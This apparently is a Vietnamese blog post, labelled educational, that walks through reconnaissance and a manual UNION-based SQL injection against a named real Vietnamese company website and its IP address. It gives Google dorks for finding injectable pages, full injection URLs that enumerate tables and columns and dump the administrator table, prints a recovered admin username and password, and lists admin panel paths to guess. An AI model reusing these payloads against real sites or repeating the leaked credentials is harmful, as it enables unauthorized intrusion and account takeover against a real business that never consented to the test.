Mục tiêu của bài này chỉ mang tính giáo dục. Không mang tính phá hoại.
II. FOOTPRINTING
* Domain: www.nhuaphucthinh.com.vn
1. Who is
2. Thông tin Record
- Thông tin IP hosting: vào trang who.is để tra cứu thông tin
==> domain : nhuaphucthinh.com.vn đang
hosting tại FPT
- Tìm các hosting đang share chung trên
server này bằng cách login : bing.vn
3.
Thông tin trace
+ Từ trong nước:
+
Từ quốc tế
III. Scanning
-
Sử dụng tool nmap để scan
+
Scanning domain : nhuaphucthinh.com.vn
+ Scanning ip: 118.69.204.202
+ Scanning xem server đang chạy hệ điều hành nào
IV.
Testing
1. Tìm lỗ hổng website
-
Để tìm lỗ hổng SQL Injection của site, chúng ta sử dụng google để tìm kiếm với
các từ khóa sau.
+ inurl:index.php?id=
+ inurl:gallery.php?id=
+ inurl:article.php?id=
+ inurl:pageid.php:id=
+ ....
- Ví dụ: ở đây tôi tìm site sau:
www.nhuaphucthinh.com.vn/product.php?id=20
2. Tiến hành kiểm tra lỗ hổng
- Bây giờ chúng ta đi kiểm tra trang web này.
Để kiểm tra các lỗ hổng, thêm dấu nháy đơn (') vào cuối URL. Hoặc ta có thể kiểm
tra bằng cách thêm and 1=1 và and 1=0 , nếu kết xảy ra lỗi thì trang
web đã bị lỗi SQL Injection.
- Ở đây, tôi thêm dấu nháy đơn.
3. Tìm số cột
- Chúng ta tìm bằng cách thêm "order by N" vào sau url (N: tăng từ 1,2,3...n, xảy ra lỗi). Ta
có thể cho N bất cứ số nào để tìm ra
lỗi nhanh nhất.
-
Ngoài ra, có thể sử dụng kết hợp union và select để tìm ra số cột.
- Ví dụ: ở đây ta thử số N=11 kết quả không lỗi ==> số cột phải lớn hơn 11
http://www.nhuaphucthinh.com.vn/product.php?id=20
order by 11
Tiếp tục thử N=12
==> Đã xảy ra lỗi, ta xác định được sỗ
coloumn là 11.
4. Tìm cột bị lỗi
- Chúng ta tiếp tục tìm coloumn bị lỗi bằng
cách tạo 1 id không tồn tại (giả sử ta đổi id =-20) thêm query " union
select 1,2,3..11"
==> Vậy là ta tìm thấy các cột bị lỗi là
'3', '5', '6'. Chúng ta tìm lỗi ở cột đầu tiên là '3'
5. Tìm version, database, user
- Thay cột 3 bằng
"version()"
==> ta thấy được version của
database là 5.1.68
- Tìm database và user, ta lần lượt
thay cột 3 bằng database() và user()
==> database: nhuaphucth_inh;
user: nhuaphucth_inh@localhost
6. Tìm tên table
- Bây giờ, ta sẽ xuất ra danh sách
các tên table bằng lệnh:
http://www.nhuaphucthinh.com.vn/product.php?id=-20
union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from
information_schema.tables where table_schema=database()
==>
Ta tìm thấy các table: administrator,category,countries,doitac,manufacturer,permit,product,user
7. Tìm tên của các cột
- Chúng
ta tìm tên của cột mà bảng chúng ta nghi vấn.
Ta thấy bảng administrator chắc sẽ chứa thông tim nhạy cảm, bây giờ ta
thử nhé.
- Sử dụng
lệnh:
http://www.nhuaphucthinh.com.vn/product.php?id=-20
union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from
information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 105,
115, 116, 114, 97, 116, 111, 114)
(convert text "administror" to ASCii)
==>
Ta tìm thấy kết quả:
AdmID,AdmFullName,AdmUsername,AdmPassword,PerID,AdmActive,AdmNote
- Nào,
ta tìm các thông tim cần tìm.
http://www.nhuaphucthinh.com.vn/product.php?id=-20
union select 1,2,group_concat(AdmUsername,0x3a,AdmPassword),4,5,6,7,8,9,10,11
from administrator
==> Đã thành
công rồi: duyvuong1979:03091979
8. Tìm trang Admin panel
- Ta có
thể đoán url như:
http://www.nhuaphucthinh.com.vn/admin.php
http://www.nhuaphucthinh.com.vn/admin/
http://www.nhuaphucthinh.com.vn/admin.html
...
- Ta có
thể dùng các tool để tìm.
9. Cảnh báo
Việc sử dụng tên miền
http://www.nhuaphucthinh.com.vn chỉ dùng cho mục đích làm giáo dục. Bất cứ ai lấy kết quả trên để phá hoại website này, hoặc làm theo các bước
trên để phá hoại bất cứ website nào phải hoàn toàn chịu trách nhiệm trước pháp
luật.
No comments:
Post a Comment